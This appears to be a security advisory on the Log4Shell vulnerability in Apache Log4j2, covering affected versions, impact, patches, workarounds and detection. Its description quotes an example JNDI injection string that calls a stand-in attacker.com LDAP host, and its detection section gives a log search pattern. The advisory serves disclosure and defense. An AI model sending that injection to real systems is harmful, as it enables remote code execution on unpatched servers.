Full Report
Read about how our team investigated CVE-2021-44228, a critical vulnerability that was affecting a Java logging package.
Analysis Summary
# Vulnerability: Log4Shell Critical Remote Code Execution (RCE)
## CVE Details
- **CVE ID:** CVE-2021-44228 (Primary), CVE-2021-45105 (DoS), CVE-2021-44832 (RCE via JDBC)
- **CVSS Score:** 10.0 (Critical)
- **CWE:** CWE-502 (Deserialization of Untrusted Data) / CWE-917 (Improper Neutralization of Special Elements used in an Expression Language Statement)
## Affected Systems
- **Products:** Apache Log4j2 logging library and any software/hardware incorporating it (e.g., Apache, Apple iCloud, Steam, Minecraft, UniFi Controller, ConnectWise Manage, Auvik, N-able).
- **Versions:** 2.0-beta9 to 2.17.0 (excluding 2.12.4).
- **Configurations:** Systems where Log4j2 is used to log user-supplied input or where JNDI lookups are enabled.
## Vulnerability Description
CVE-2021-44228 is a critical Remote Code Execution (RCE) flaw originating from how Log4j2 handles log messages containing a specific syntax. It utilizes the Java Naming and Directory Interface (JNDI) to fetch and execute objects from remote sources (LDAP, RMI, DNS). An attacker can send a crafted string (e.g., `${jndi:ldap://attacker.com/a}`) that, when logged, triggers the server to reach out to a malicious external server and execute arbitrary Java code.
## Exploitation
- **Status:** Exploited in the wild.
- **Complexity:** Low.
- **Attack Vector:** Network (Remote).
## Impact
- **Confidentiality:** Total (Full access to data and system resources).
- **Integrity:** Total (Ability to modify files and system configuration).
- **Availability:** Total (Ability to shut down services or deploy ransomware).
## Remediation
### Patches
- **Primary Fix:** Upgrade to **Log4j 2.17.1** (or newer) for Java 8 users.
- **Legacy Fix:** Upgrade to **Log4j 2.12.4** for Java 7 users.
- **Vendor-Specific:** Apply firmware/software updates for third-party products (e.g., UniFi Controller version 6.5.54).
### Workarounds
- **Configuration:** For versions 2.10 and above, set the system property `log4j2.formatMsgNoLookups` or the environment variable `LOG4J_FORMAT_MSG_NO_LOOKUPS` to `true`.
- **Class Removal:** Remove the `JndiLookup` class from the classpath (e.g., `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`).
## Detection
- **Indicators of Compromise:** Unusual outbound network traffic on ports 389 (LDAP), 1389, 1099 (RMI), or to unknown external IPs initiated by Java processes.
- **Detection Methods and Tools:**
- Search logs for the string `${jndi:`.
- Use the Huntress Log4Shell Vulnerability Tester to identify if web-facing applications are susceptible to the injection.
- Scan file systems for vulnerable JAR files.
## References
- **Vendor Advisory:** [https://logging.apache.org/log4j/2.x/](https://logging.apache.org/log4j/2.x/)
- **Technical Deep-Dive:** [https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java](https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java)
- **Huntress Tool:** [https://huntress.io/](https://huntress.io/)